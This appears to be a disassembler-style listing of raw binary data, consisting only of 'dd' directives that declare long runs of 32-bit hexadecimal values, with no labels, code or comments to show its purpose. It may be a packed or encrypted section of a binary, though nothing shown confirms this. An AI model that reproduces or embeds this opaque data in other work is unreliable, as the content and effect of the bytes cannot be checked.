		dd 0E5215684h, 84E2555Ah, 0FDE4155Ah, 284EA87Ch, 0C4234589h
		dd 9B0CD940h, 448EE4E0h, 96AFD88Bh, 0F06A388Eh,	0A7A4566Bh
		dd 23DF445Ah, 0ED9059B9h, 13848EB2h, 0EEC90408h, 7B647C48h
		dd 24E1C452h, 0D1854D7Eh, 652C9137h, 53206A13h,	580522ECh
		dd 315229A5h, 32EFFE4Fh, 593FC476h, 0FB9A4823h,	88887565h
		dd 22299953h, 0A4210A02h, 2619181Bh, 62730328h,	0C43953B8h
		dd 0CF019E6h, 0E27194EDh, 736781B9h, 0F2822E88h, 73452632h
		dd 23441844h, 25618B59h, 0E88F2101h, 0CC2F17FFh, 5689F811h
		dd 91C281F9h, 0A26E14ABh, 7274015Dh, 0D468486Ah, 0F564FEA2h
		dd 0BD3E714Eh, 774F8BC2h, 33CAE81Ah, 0E84C654Eh, 6AD7A2EFh
		dd 0F571A6Ah, 0E2409433h, 0F56167Dh, 2DBFD235h,	3FDB4916h
		dd 68077541h, 83525854h, 88076170h, 0ECE5108h, 0FF0811C6h
		dd 32A5C2B0h, 23074C6Dh, 0BCA226A1h, 0F6027525h, 0D70542AAh
		dd 0BB43357Ch, 0D70F4FB3h, 580CB0CDh, 790BC22Bh, 50C38303h
		dd 8F47F7DEh, 18BC3798h, 0DA2B5600h, 0CA579AE8h, 3113869Fh
		dd 0F6B86860h, 876FB844h, 2A30AC27h, 0BCC18A70h, 53740854h
		dd 8619E857h, 895327A0h, 0DC183D1Eh, 20BB6605h,	4C288D85h
		dd 32370433h, 351144Ch,	3C26BE7Dh, 48973403h, 6A43913h
		dd 653CC743h, 106822A9h, 2322518Bh, 3A10E781h, 30C77FD0h
		dd 8E8D1848h, 38749394h, 822CCDF3h, 0F9E82006h,	34A357F6h
		dd 82F4046Ah, 0D4294C05h, 0E2501DB7h, 0EB258651h, 32141AF3h
		dd 32174868h, 11441310h, 20401207h, 56CCE851h, 0FDB53A9Fh
		dd 0DE071B43h, 4E01F448h, 109006DAh, 82EA8E89h,	28840924h
		dd 0B81085B4h, 7C14D0A2h, 2099818Ch, 0F87BD137h, 0CB21F91h
		dd 0C78B2268h, 0A2BF5865h, 0E3CB6B1Bh, 34245779h, 90585C88h
		dd 7F141077h, 89451BA6h, 90109267h, 0F6331002h,	27E49810h
		dd 0B4B55956h, 4AAE9D44h, 597720F0h, 0E39DF787h, 90F49888h
		dd 24B1F1B7h, 0C8D3E93Ah, 29E13B08h, 0AF68BB53h, 44E75467h
		dd 885DB054h, 98358412h, 0F646924Bh, 0E97C8984h, 84E7A45Fh
		dd 10D94887h, 0B155AD76h, 8E4582A5h, 10A49C68h,	104229Dh
		dd 0D946892h, 0CA2098EAh, 23984368h, 68CE847Dh,	116D3290h
		dd 42D2020Bh, 5D10246Fh, 98C08852h, 92E6BE88h, 162B4C20h
		dd 68186A04h, 3FE48CA8h, 91442EA1h, 6815B03Ah, 2C2113C4h
		dd 0F4222010h, 20CA90F0h, 85416134h, 4795F714h,	9295458h
		dd 88189013h, 54F6628Ch
		dd 84081C31h, 13E34586h, 2954207Ah, 16A988FFh, 58D617CDh
		dd 6524422Ah, 1008D5BFh, 517C1106h, 0AA231292h,	90A40612h
		dd 9482452Ah, 0C85CB220h, 0CA304E8Ah, 8E651387h, 0B18F4632h
		dd 608926Ch, 91706821h,	0FA562A61h, 14E92586h, 578113D2h
		dd 5912F20Dh, 0D7F82FB6h, 77F64278h, 93033BCBh,	0CDEAFD18h
		dd 1D1818B9h, 0A2F34884h, 0A778681Ah, 11071639h, 0B16FC683h
		dd 0E2C3145h, 53F01017h, 868A328Ah, 25A0B589h, 0E83DC7B0h
		dd 0A8851A56h, 4480B215h, 4CE8794Dh, 0DF17C7Ch,	1C5B1C7Dh
		dd 266A1774h, 783EC979h, 0F0E277B4h, 53FE22A4h,	3A492551h
		dd 5986518Fh, 228E0A80h, 9023E832h, 62AE971Ah, 17E46E1Ah
		dd 50804512h, 5F856A88h, 6A195F6Fh, 6B5641D8h, 926068F0h
		dd 0B8C844C9h, 0AD15B44h, 5318E8E3h, 0BB62BB2Dh, 46C84Ch
		dd 96A23C5h, 4B1DF805h,	5C0F2704h, 52F3E843h, 0C38A2800h
		dd 85883404h, 152BD91Fh, 38CD7009h, 0A1491AC8h,	9318274Fh
		dd 0BF817B99h, 0EA05708h, 92A47C0Dh, 65FE444Eh,	13AECA71h
		dd 9DDA7BE8h, 9F86A24h,	0EF465C1Ch, 3B355968h, 0B76CD29Eh
		dd 0A501A658h, 0A068E236h, 88530444h, 44202139h, 876D3899h
		dd 0B1137DCBh, 10893C21h, 16E22702h, 0E50E5431h, 9D1C0F8Dh
		dd 32B35FB0h, 44D1E480h, 51F8E804h, 807262FFh, 0F4888371h
		dd 51E242EFh, 0F34427CEh, 115F42BCh, 0F3CA51CFh, 0F1C09138h
		dd 0AA08F328h, 8043488Ah, 0F5AC20A5h, 68C18594h, 0DC230DADh
		dd 22ACC014h, 0C954618h, 1C4C52BBh, 5B1086C6h, 316A3395h
		dd 6D798C28h, 48BCAA9h,	0A87D0F08h, 0B0208436h,	345E420Bh
		dd 42202752h, 0A81B5A68h, 845B784Eh, 702B3A50h,	682A3BA4h
		dd 272C2BACh, 54E35051h, 5E2915BDh, 58102E0Ah, 920C888Ch
		dd 39D8968h, 3B2997C6h,	0F69CD920h, 10FC2DF1h, 0EA53924Ah
		dd 7179AF12h, 87A2871h,	2B75812Ch, 84F79A93h, 9A40748Eh
		dd 2D05E106h, 0DC841C78h, 58150F52h, 517927CDh,	22C19CE4h
		dd 740E292Ah, 32E0D856h, 0D7BFE39Dh, 0BFB0204Ch, 5721F55Eh
		dd 4F271149h, 8FF6D09Ch, 7463525Bh, 682B145Ch, 48C8AEB0h
		dd 263240A6h, 0CA8116Ch, 7C528435h, 2C680A60h, 2211135Dh
		dd 5F190555h, 0A1D89D34h, 0E2150B50h, 0EC226E57h, 86AC5BE0h
		dd 0A04FF520h, 86E513B2h, 0CF84588h, 0A721C6AEh, 0BB241378h
		dd 4B80571h, 70122725h,	82447D53h, 0DB88147Fh, 5E390757h
		dd 0DF5C893Eh, 751B3196h, 98C0FE25h, 9DB15317h,	0BEAC713h
		dd 0C4E40120h, 47A176F4h, 1FA02A10h, 0FC3E4F46h, 5468CF9Ch
		dd 59A01305h, 7840E061h, 0BF3B91Ch, 0BD8B0558h,	3B535411h
		dd 8D8C23F8h, 5548189Ch, 0F8D3CA70h, 2C233D20h,	0A203105Ah
		dd 26E91C7Ch, 0C83342A9h, 71D844DEh, 491C77D0h,	56740785h
		dd 0E95FAD33h, 80304C57h, 58277C7Ch, 463D030h, 3BE85601h
		dd 7637EFFBh, 51860AE5h, 0EB2D441Ch, 311F2750h,	57227519h
		dd 39131D20h, 59181C19h, 0D3681340h, 8956B798h,	0FEC97E65h
		dd 815171AFh, 273722C4h, 0BD947DC3h, 0B2F18DB5h, 0FF58886Fh
		dd 8D2A7309h, 0EF034683h, 12F6C11Dh, 1F2D1EB3h,	8382161Dh
		dd 9D5B96DAh, 0B324A185h, 21DB4C06h, 4E330C5Fh,	228B105Dh
		dd 6A32242Ch, 2938264Dh, 0FA343B10h, 2A575F80h,	4528F468h
		dd 66D5F20Bh, 0C681486h, 0F9101260h, 453CC84Dh,	0E7244CC4h
		dd 0C868BE25h, 40111716h, 0D4265632h, 444E1829h, 23298BFAh
		dd 481036C3h, 9148048Ah, 314C8AB1h, 0E27A345h, 5295C498h
		dd 0FC5438D3h, 9D1A4148h, 8C075021h, 0CEC8B7EBh, 0E888FAACh
		dd 3F66A46Eh, 2A5C681h,	8429DE64h, 0FC90E235h, 0A1D51CAh
		dd 0CDF605C6h, 4384568h, 0BD760B61h, 995592DBh,	0CD8845Dh
		dd 28AC62B2h, 0C0C4F947h, 0F85F9C1Bh, 2B52684h,	6014509Ch
		dd 75A4208Ch, 709C44B7h, 5DF1B2BFh, 8C97EA53h, 754EE230h
		dd 7DA332E8h, 8A977149h, 6C6438A0h, 0B4F22E50h,	214F421Ch
		dd 614C08DEh, 86A850CEh, 2C211187h, 3730B18Ah, 782C3E6Ah
		dd 0A862E630h, 0FF458833h, 6C6C2A91h, 150B1626h, 4174FDE8h
		dd 201C45B2h, 6A0A01E0h, 396C6860h, 0BCD2E842h,	881A432Bh
		dd 7C19A5B5h, 0A42E4CD0h, 74EC4285h, 80874416h,	54C7D7Fh
		dd 9C5B3E69h, 0D28DA85h, 0D1010B2Fh, 86688B6Dh,	0FC8C6798h
		dd 84637488h, 954B8E20h, 83B2C5E2h, 122194C4h, 2F7718FDh
		dd 0F391C4B8h, 0F2A35B38h, 38121742h, 586D350Ch, 64D480E4h
		dd 0BF4E4484h, 2E17CC6Ch, 80826A45h, 224B1433h,	17A6647Bh
		dd 0A1275233h, 2253B2D3h, 0FA9D251Dh, 3CD64C83h, 88157944h
		dd 3526ABFh, 84C6918Fh,	242273CDh, 772662DFh, 1E876C4Eh
		dd 0CC2AF10h, 0D4B2A6E9h, 3888C0DDh, 0FFF0A5Dh,	70D99785h
		dd 2089FB28h, 41B5994Ch, 0BEA36E4Ah, 0BB44FB4Ah, 0BCE8FBAEh
		dd 357DB3A3h, 62F37557h, 87964536h, 2DEDE822h, 0D4FD19B4h
		dd 68A3FAD4h, 0E85ED946h, 3F668CA2h, 5F5D5F01h,	0F84D8266h
		dd 0CAB1EB75h, 4B6A52A8h, 0CE627B28h, 3CA35304h, 7207732Ch
		dd 8226C7Ah, 4A922122h,	88039749h, 0E5F8FDF8h, 18478417h
		dd 0DC62A321h, 72A13064h, 97EA6088h, 9253E631h,	2928DD85h
		dd 277242DFh, 6C37441Ch, 0A12736Ah, 614486F2h, 1BD1A80h
		dd 5DF36DEh, 1A8B5450h,	10654676h, 45D07252h, 421E9AA2h
		dd 24EC9F25h, 8C661458h, 88381A57h, 1ED7862h, 0A5E4798Eh
		dd 1BD7987Dh, 69C8306Ah, 0F4680DEDh, 24006891h,	70694449h
		dd 6241B46Ah, 0BC2E6544h, 0BAE0FE12h, 83300B48h, 335F09C0h
		dd 25462154h, 914D243Fh, 7148D509h, 6808BD35h, 0F82D6728h
		dd 324E837Dh, 832FBE72h, 0D901300Ch, 0BFC723Bh,	451FFB2Ah
		dd 24CF549Fh, 5AAF317Ch, 0AC440871h, 0C35356C2h, 53149F2Ah
		dd 2A21C310h, 14682144h, 2468E284h, 0C2056734h,	213E7115h
		dd 0BCCF715Dh, 21DF9C23h, 140BD2E7h, 454CEBD4h,	0C87047D0h
		dd 0AA37918h, 8D449A23h, 0F811FBF6h, 89411EDh, 0A595E81Dh
		dd 9EB69B57h, 0A63055B4h, 4408837Ah, 697831CCh,	97275809h
		dd 42F6475Eh, 75CB7748h, 6C282211h, 477E8464h, 2A803159h
		dd 50ACC14Fh, 10476B84h, 9B22E463h, 8AC9524h, 3444706Ch
		dd 0AD2EF1CDh, 4A250F5h, 3259B7CEh, 0F830CDEBh,	0EAAFCF6h
		dd 39E00675h, 760C171Eh, 10D8B026h, 7CB0FA9Dh, 4E06738Ah
		dd 0C066F0C1h, 3ABC60DDh, 88397241h, 142130Ah, 3B18031Dh
		dd 97DE724Dh, 8569C47Ch, 3A9230EEh, 0ECE0F557h,	1330F4Dh
		dd 0B06552EBh, 9F5D8BFEh, 2C09ACD0h, 57184B8Dh,	2F14A306h
		dd 332A0265h, 243A70Bh,	571C5D30h, 0EB1415E0h, 83061250h
		dd 0FD59ACD9h, 0C61C148Fh, 960133A7h, 504D24B7h, 63E82611h
		dd 3259D927h, 52552816h, 0C7764AC6h, 0FF0C9430h, 0A5F3AA81h
		dd 0EF1C7DD0h, 0C95724ECh, 23C01870h, 25934672h, 61A9FD25h
		dd 28444AFCh, 0DFC9A2AAh, 18938435h, 59490F48h,	400DBAEBh
		dd 1FA60411h, 25740C82h, 1BD2B5Ah, 0FE032C50h, 9653AB98h
		dd 0BEDB18ECh, 87B31B8h, 0DE2EE8BEh, 0EB09BAD9h, 0C21CFF03h
		dd 0CEBCB816h, 9D4600F4h, 3DC4B176h, 6F92F1EAh,	0C0415C2h
		dd 45861418h, 623865E6h, 0FA48F137h, 13AE101Fh,	54C73BC5h
		dd 2D7A43E9h, 200F42C6h, 4576A975h, 0BFB47B05h,	45165A74h
		dd 6504F340h, 8943B40Fh, 2B681DC4h, 48218DA2h, 458EE886h
		dd 0ACBE141Ah, 9C10120Dh
		dd 275632ECh, 5868217Bh, 5444081Bh, 88692571h, 0A785AB68h
		dd 45564722h, 730C8F2Eh, 0F1C06F0Fh, 90481C3Bh,	838BF80Eh
		dd 0DB186BEDh, 0D7F18BBh, 2B058C28h, 0F59862C4h, 440F6FC8h
		dd 9D813F45h, 31D824FAh, 0D83D44FCh, 0E2908A90h, 4CB1AAA5h
		dd 37B5D46Fh, 4BC5C616h, 0DC235CEDh, 0A3C34CA9h, 0A5112029h
		dd 0DC73E04Fh, 9A85F545h, 64C93320h, 82C1FFB4h,	80490D94h
		dd 38101D20h, 3B844041h, 93ED72CEh, 2082BE98h, 18CC399h
		dd 0A4558068h, 44D5FB45h, 0BF51264h, 4D0831F5h,	2D684740h
		dd 7F666B7Ch, 5D48AA25h, 735760B1h, 0CC9C1B50h,	9862E47Bh
		dd 0C813F42Eh, 0C24B16Ch, 4313A47h, 3823FF74h, 365E3129h
		dd 28488641h, 0DE882FA8h, 1A506781h, 9CF84B21h,	57210291h
		dd 58E7AC10h, 601513E8h, 46B51357h, 0BB564BFh, 48585714h
		dd 9FAB07D2h, 7DFC25AAh, 0E595CAA4h, 318C2CCCh,	43B2FF98h
		dd 0E101996h, 5E069919h, 78BD22C6h, 9A0CC36Dh, 0A19580Bh
		dd 0A45C039Bh, 88B0068Fh, 0C80CB6ECh, 0B845D6DFh, 68124C68h
		dd 779C3F09h, 1DA09705h, 7D18BDF2h, 0B8A815A2h,	0AA0D1064h
		dd 86AC1E19h, 49E8B427h, 0CC5FC2A3h, 34133868h,	81DBDC36h
		dd 234333D2h, 94306623h, 0FCF3DAE8h, 3E994466h,	6D4837AAh
		dd 45E4A157h, 12EBC005h, 0FFC1A859h, 0FF09740Ch, 6F60A9Bh
		dd 80F775E0h, 9F20BB35h, 7E5E30B0h, 4F8AB574h, 0B460CCC2h
		dd 0B1B6D68Ah, 0B00E4168h, 0EB403666h, 53AFB0F9h, 47F2D08h
		dd 0EBC60304h, 50DA8302h, 0A6E89709h, 9F7D7A42h, 752D3670h
		dd 0F038550Eh, 0FE5FF0E9h, 0C37BC3C9h, 3F09AB69h, 0ACC86856h
		dd 8A871875h, 10FD9114h, 73438940h, 87B1B0Ch, 4CA0D8Bh
		dd 0D6BF199Bh, 3C453A10h, 0AE2A2918h, 11C5AABAh, 0C66A08BCh
		dd 753410C4h, 9F0215FBh, 0B0B980F8h, 9561791h, 0D068C303h
		dd 4222DA98h, 0CC0C5184h, 8D4640B0h, 0D2A51834h, 0E3F4E21Dh
		dd 0D89DB5A1h, 7E8C3946h, 60D8B04h, 53DB1CA6h, 0C644227Eh
		dd 19B600A5h, 128A9CC0h, 2024A10h, 0AA6AD979h, 0D06DE25Fh
		dd 863F77F5h, 1EA4E10Ah, 501BE46h, 0EB183C89h, 4BD2006h
		dd 6A19619Fh, 0E0458041h, 62A45991h, 898E8A4Dh,	0E1150623h
		dd 3AE26409h, 0EAD99101h, 0F40B9358h, 0EC7E17AFh, 0CF00D6FBh
		dd 1BD9F6E0h, 83530BC9h, 0D5AE02E1h, 0C619C1C3h, 603D8048h
		dd 0F64D899Ch, 0E316C559h, 0CEE4C903h, 10E4FD40h, 0EC8B058Ah
		dd 0FA40EED1h, 4A8722Eh, 0F4C48362h, 0B5885E48h, 0F10E730Ch
		dd 0B7334D59h, 15A4E45Ah, 8B09E8B9h, 0A51845C6h, 0FADD4430h
		dd 0CE73095h, 0CD10A950h, 7FC3F909h, 7D1932B3h,	0D42BAC0Ch
		dd 0FF1B8514h, 0BC881D7Eh, 97C62B88h, 748B045Ch, 0C138FD43h
		dd 3B09460Bh, 7FE37CF7h, 0A7C33E49h, 62B7DEB5h,	6242010h
		dd 803F228Dh, 74574809h, 41903574h, 9F647AEFh, 18BFDCFFh
		dd 67D86C5Eh, 22D1BD67h, 1169068Ch, 14ACCBC6h, 85BBFA74h
		dd 0D1EB03E0h, 5FA4FA1Ah, 68286E45h, 0F49DCB7Ah, 14C02470h
		dd 0E94B94B7h, 886668D9h, 7D404A09h, 7F4D3BBh, 25088768h
		dd 0B16DB8F4h, 0F22D9D28h, 126C0774h, 665DD9F4h, 0CBC2F50h
		dd 0BAC33BC5h, 46A18D9h, 196B885Eh, 0AA1C202Fh,	0AC72BF89h
		dd 39C6562Fh, 0F02F1290h, 41E966DFh, 0E842A60Ch, 1FF28664h
		dd 0C31F231h, 0E5ACAA75h, 0B2D4682Eh, 8247D56Fh, 0B46ADA74h
		dd 5DDE8239h, 48C598E1h, 752D0234h, 0F013E0BCh,	5F5CAC6Bh
		dd 0D215BC56h, 0EC921ACh, 0D3812307h, 0C01F012Ch, 756C9D0Fh
		dd 4531E18h, 46BF876Ch,	0AC682057h, 50409174h, 0A16BE937h
		dd 4D32FD39h, 3B92D877h, 26A757F3h, 0C5D0880h, 6A267B76h
		dd 93130A20h, 848ACDC0h, 9D96F580h, 8DA4159h, 6A0E0488h
		dd 0E372B8D0h, 835C0AEBh, 0C12B7FFEh, 2056A50h,	31933568h
		dd 28264B10h, 4245512Ah, 5998C07Bh, 804C048Dh, 21B0183Dh
		dd 890D755Bh, 6638568Ah, 0C3A40F5Ah, 0F8D64A72h, 0A008B7C7h
		dd 44919F9Ch, 542C236Ah, 6544A9F9h, 95FAA4D8h, 0FBBB70C3h
		dd 0AE1E54EFh, 0A23B5AF5h, 8EE80924h, 0FAEC5D3Eh, 0CDEB2D8h
		dd 74799767h, 3F86D2ADh, 100546F6h, 0AA563675h,	0EED2B0F2h
		dd 30E8275Fh, 47F7F84Ah, 66E56462h, 3B03DAD1h, 22CF74F8h
		dd 99ACD1Ah, 160AEB32h,	625B13A0h, 26342BACh, 0C7E10F65h
		dd 31A9EB45h, 80530A2h,	57BE5157h, 0B4774E60h, 0AC4FBBC9h
		dd 522BCDE2h, 188C0D0Dh, 5DCF3DAFh, 10A60879h, 0A77DA0C8h
		dd 6AB510DFh, 1059423Fh, 880EFCD1h, 0FBD6D095h,	5274666h
		dd 5588ED7Dh, 12FB34ECh, 4859BB0Fh, 0F403E806h,	2E66C3A1h
		dd 3285C5F2h, 0FA644B04h, 3D8898DDh, 49E5BD66h,	54041909h
		dd 1810C59Dh, 0CCBF6A22h, 49509BA9h, 0B05B642Bh, 792A8655h
		dd 0D7E29FC3h, 8A48B849h, 0FCC41A96h, 0AE5DBA16h, 1D8EA4EAh
		dd 94687945h, 0CE6C2778h, 531A166h, 1175ADC0h, 0D6F4BC3Ah
		dd 0E91D8F18h, 329BD971h, 86E81CACh, 5822A442h,	429DC6BDh
		dd 0E8447A78h, 982DA96Eh, 68280A08h, 32542690h,	428C8412h
		dd 9120217Ch, 10619C74h, 0AD5CC80Eh, 186C5F5Eh,	421EA450h
		dd 1F01048h, 758B3C88h,	0D93BFF7Bh, 0FFD085C7h,	89E43C98h
		dd 2868F0D8h, 0A9F93FD6h, 4D3C7A16h, 383CB636h,	1150328Bh
		dd 0E40584DCh, 58244926h, 0FC64CE3Ah, 0DDD5EE12h, 5B59360Dh
		dd 76FB82Ah, 0D4658A1Ch, 5168B53Ch, 0ECE52294h,	38917171h
		dd 6813543Dh, 21832052h, 8914906Dh, 229D9E78h, 0F8413BF1h
		dd 4584A21h, 0B46FE96Ah, 2DD9EB8Eh, 0ED17C30Ch,	944BEA05h
		dd 13A4D8EAh, 499851BCh, 1A779534h, 48A30868h, 873BD259h
		dd 1C19E93Fh, 64272D56h, 0E929F6C4h, 0FC888017h, 850F0676h
		dd 683D191Dh, 0F299CCF4h, 46409692h, 63E7C416h,	0D189EC12h
		dd 0FD3068D5h, 4B374ACCh, 0AA2E2462h, 1BEDC61h,	894B5B37h
		dd 21DE0EFDh, 19AE213h,	100D4314h, 0FAF33AE5h, 0B4DE23ECh
		dd 2142143Dh, 0C7680E3h, 8F3A43EFh, 21E59073h, 6C6342B3h
		dd 65B49B77h, 11288211h, 0B6A2DC82h, 0FF73996h,	0A90BDC40h
		dd 51631C2Fh, 577F1C64h, 0B82AE6F8h, 6C29A1E0h,	0AE1AF0Ch
		dd 584D698Ah, 88D39EDh,	242A62BEh, 4F8B22A5h, 0B79316FBh
		dd 948F16D2h, 0A6F22210h, 7745479Eh, 0A8DB093Eh, 96E43F10h
		dd 0C68D43A9h, 0EF405284h, 891D5787h, 7E59CFD7h, 0BB07E29Bh
		dd 0E36B1411h, 37EB85EEh, 8234BB08h, 2C682F75h,	0B221709Ch
		dd 6C36C439h, 4624907h,	712F248Ah, 7230F83h, 0C61D862h
		dd 0DA8AA50Ch, 0ACC05EAAh, 65BFB47Fh, 896BFCBDh, 69CB0E32h
		dd 800CE662h, 810139FDh, 0B66228BEh, 0A83AC5BCh, 1195CB61h
		dd 12CF011Bh, 0E6982235h, 0CD07E8Fh, 85FA920Ch,	0E8A6886Eh
		dd 0EEBF3BE8h, 0E2E94A49h, 1BECCA60h, 3A38848Ah, 19BB5A51h
		dd 0D0640D53h, 428D502Bh, 69748878h, 0BB950C50h, 9AF138A3h
		dd 0D3178843h, 3AC931F4h, 0EFE37518h, 0FE10FBADh, 0DC68C55Ch
		dd 7A0A1D4Ah, 8D37E058h, 0F060B108h, 5DB460FAh,	752D74C3h
		dd 362856EDh, 727DA514h, 5719D8B2h, 55F2AA14h, 0EEFC4025h
		dd 0C2795C69h, 4FFD01B0h, 4250150Ah, 0F377A15h,	976C7878h
		dd 4269AC7Eh, 6BF95592h, 0E4B8EC32h, 0FBFF4E41h, 78247431h
		dd 695E8011h, 7C904F22h, 7F2574F6h, 87446B56h, 2448F2F4h
		dd 0A19A0218h, 946E9758h, 3C147431h, 0C2075FE1h, 2EFD8147h
		dd 0AB7206DBh, 0E876B52Ah
		dd 8CFE5008h, 0EB0A90A5h, 828B6A29h, 0C60475A5h, 98FC2254h
		dd 91B8E6BEh, 6993A4DBh, 59742803h, 7B35DE4Bh, 4A2086FAh
		dd 560518FEh, 40D6E068h, 8E528705h, 7322AB6h, 10127BCCh
		dd 9878834Ch, 0C474374Bh, 45D80B6Eh, 3A456B86h,	0E5ABBC2Fh
		dd 0C63584BFh, 19D83378h, 0A454E676h, 427524BFh, 64C46F14h
		dd 0FBDCBF36h, 0F67C9731h, 62FBFCA5h, 7A0C6706h, 0ED69559h
		dd 3068E24Eh, 40221478h, 89C455DEh, 84F1B37Ah, 649F0D7Ch
		dd 84FB8810h, 2F673616h, 7BED311h, 19565EBCh, 0AD3165D7h
		dd 4B9003F0h, 8034D21h,	0BA42FA88h, 990682B2h, 0D9717555h
		dd 0E914C411h, 14073D35h, 0E2758966h, 7375456Ah, 31C694CFh
		dd 0C8609CD6h, 3BDC9D84h, 0F7C757E3h, 915A73E8h, 0E3EE7B34h
		dd 0DBE4623Bh, 466F5302h, 594FC7A4h, 82D49BFh, 0B7F2C17Dh
		dd 82593DA8h, 8CA5B1C3h, 78A822E2h, 9B7A213h, 2BB54477h
		dd 19DA3582h, 46531158h, 0EC7D7612h, 681B6D62h,	6818C680h
		dd 91BC7934h, 72F85B2Dh, 4FC47740h, 4DAE8034h, 0F2B758FCh
		dd 0D4453BAEh, 0F284850Bh, 1274F793h, 0A16B8845h, 7D111729h
		dd 67BC3A12h, 8E6B4F93h, 0EC5E8735h, 54B98A1Dh,	30858802h
		dd 1A9244FDh, 1131BD8Dh, 0C4C9BC7Eh, 8D5695E0h,	8488DC46h
		dd 95828677h, 0E3DD861Bh, 3B862C0Dh, 9D388141h,	8821E45h
		dd 46E37CAAh, 94F31935h, 0C8AE9B1Ah, 84A536h, 0A0BF0234h
		dd 46687E78h, 575A2537h, 3495215Fh, 0E9FB794Dh,	8846EAE9h
		dd 619F8B9Ah, 7150F846h, 6168136Ah, 66E9618Ch, 9062701h
		dd 0BB346AE8h, 0A545C501h, 0B3239D88h, 0B122E5C6h, 2D2DD903h
		dd 322A270Ch, 0F8334586h, 55A834E8h, 4D2D8D1Ch,	0CBE650DCh
		dd 0BFF051AFh, 0E9EEE986h, 0C8A81152h, 8F51104h, 0BB378D8Ah
		dd 8015AE53h, 75A05EF9h, 0C012FE12h, 241DC932h,	5C80772Ah
		dd 0FE290EEBh, 8D9010C1h, 0C0B60F82h, 0E0D622FFh, 44274108h
		dd 2A10FED3h, 84DF5009h, 33B721B3h, 0E850A6E8h,	9933539Bh
		dd 27E98B29h, 47293BC4h, 546B9B04h, 0FB3B4320h,	0BB8B77B1h
		dd 1EF8C884h, 7D096F72h, 0B0FC84E0h, 0B17B4AC8h, 0C73B0B77h
		dd 8A5BB706h, 12B46828h, 8E6E5842h, 6E821973h, 24FC2BE0h
		dd 8BB4A8D9h, 7577EBC4h, 47E3C8B3h, 80257CEEh, 0B29DAE78h
		dd 4365A2DCh, 6BEB24B4h, 45680970h, 987B1444h, 5848399Ch
		dd 0A8841318h, 0C501CFC9h, 590332DCh, 8DBC3ADEh, 8804026Bh
		dd 8C3622FBh, 0BF03162Bh, 760B3B73h, 8EE1D32h, 0D0D96318h
		dd 89A210Bh, 33788AD6h,	39563BD2h, 24760C89h, 0BA55135Dh
		dd 9072DD17h, 2F32023Bh, 3AF68718h, 11743190h, 2E3B6141h
		dd 0DB42F272h, 0DC694876h, 119453A6h, 0DCB84EF8h, 1325BA7Ah
		dd 0BBB82D75h, 4539FB46h, 68606040h, 84685008h,	23F87A5Fh
		dd 0E7E8C49Fh, 0C68BFC31h, 0EC418F9Eh, 0D8863BEh, 6D3262EBh
		dd 3BC66702h, 79BC31D4h, 7D8EB41Ch, 0C68188BEh,	442BC042h
		dd 0F4731360h, 31AB59F8h, 8E83289Ch, 64869E2Ah,	0AC3752F1h
		dd 0DF02E22Bh, 50CE66EAh, 6FF9037Fh, 341836E4h,	0FE609FE8h
		dd 7C905E2h, 0B053725h,	29F71CF2h, 2294D71Ch, 87C2515Ah
		dd 72D8831Ch, 0DA607729h, 548C6DDBh, 0FC5A4544h, 68166FB3h
		dd 0F9F0C9E4h, 24A37AFEh, 64951820h, 9BD42D0h, 27E8681Ch
		dd 0EE535669h, 0A11A0D30h, 78167CB8h, 7AED9C2Eh, 4E99F1BFh
		dd 74200624h, 884AE8D3h, 0F20667EEh, 1D8C8B22h,	869F3335h
		dd 0E74A1CF9h, 8566224Ch, 860F740Fh, 0CA18D052h, 0C4FA389h
		dd 5363B5EBh, 35246FCh,	90C76B3h, 2BB51D8Ah, 0A35D5588h
		dd 575F91CEh, 282BFD69h, 11129F3Eh, 0D88A1B3Fh,	2C459D47h
		dd 0AB1FD5EBh, 0B4125E4Ah, 0DC0C760Bh, 30C882B2h, 0DD604019h
		dd 0DB0F472h, 145B1C27h, 0B38C4A60h, 89082817h,	0CFAFE81Ah
		dd 0ADF15D7Ch, 5D17A49Ah, 0F046ADF2h, 882D8E8Ch, 0F0354412h
		dd 4FADCAEFh, 0D3D061FEh, 0BE8C892Fh, 45CCE47Ch, 38792074h
		dd 0D4177B50h, 0D15A578Ah, 0A41C852Eh, 0BA2FAC62h, 725A5722h
		dd 14588121h, 40B18D28h, 61286B02h, 869E41BCh, 72755BF8h
		dd 8E202016h, 111D8928h, 0B8647414h, 0BF874B0Dh, 0FA30FF72h
		dd 64E815D2h, 0CE7DB474h, 0AF7C016h, 9737C21h, 30DD7453h
		dd 0A1D030A2h, 2702C009h, 0F016243Ah, 4E6B41CDh, 0C6E11318h
		dd 41BE390Ch, 40868D4Fh, 0EBAB7506h, 0C0CC0664h, 602E45Ah
		dd 63585D75h, 0BFB8DBB5h, 0D2382FAFh, 0D6B44874h, 0E6FC5744h
		dd 0C8FDC012h, 3AE32F26h, 248FDCA9h, 0DC9015B4h, 1057A5C4h
		dd 1809B226h, 0D826EB1Ch, 2E103057h, 0A85ED848h, 24BAA573h
		dd 1D36BFFCh, 38F0456Fh, 33BC9324h, 2809B35Bh, 6C974F04h
		dd 2C1EDAA4h, 20D71FAAh, 7DC620A4h, 0B9427414h,	518B0B07h
		dd 1F4D7CF8h, 830A8008h, 39403AC1h, 0EF0775E2h,	0C06B2AEBh
		dd 0E74875A9h, 9867B88Dh, 8ADA6A43h, 0EF47E80Dh, 21520C92h
		dd 9013C6DAh, 9924912h,	0C1705E38h, 1623197h, 5691203Eh
		dd 2A4AC083h, 7232435Ah, 3BA69EC5h, 6D31FACFh, 0A77E4E15h
		dd 16132907h, 440C6804h, 4ED77288h, 993EB92Dh, 74714627h
		dd 0C2D3833h, 58C24A79h, 2CC775AFh, 4C44CE32h, 0E849C4E4h
		dd 141B947Bh, 0BD96BD9Bh, 2DA716AAh, 0AF5D61EEh, 32B122CEh
		dd 22A612D3h, 44F103BFh, 0FEFDBC09h, 4D99C620h,	11249CC9h
		dd 3F5BB34h, 538A6479h,	56B6094Eh, 70743A30h, 0A4BF5EC8h
		dd 332C4C63h, 71986A8Ah, 7CFA2738h, 3B00F8B0h, 763D74C1h
		dd 51948B11h, 0E860540Dh, 974FFCE6h, 0EF1301DEh, 11023784h
		dd 9350036Ah, 16D6226Eh, 404C5652h, 0A861F7Ah, 5711EB18h
		dd 26514621h, 95760C43h, 3C42627Ch, 421BDC0Fh, 778236EBh
		dd 63D9FD2Dh, 2C682984h, 0E3328094h, 9D17660Ch,	6289AC32h
		dd 453C7CD1h, 0A4253438h, 2C291EFFh, 0EE060848h, 3FE8A673h
		dd 54C45301h, 0F84F458Eh, 0B43C3B08h, 5B7CF080h, 0BC4EB5E8h
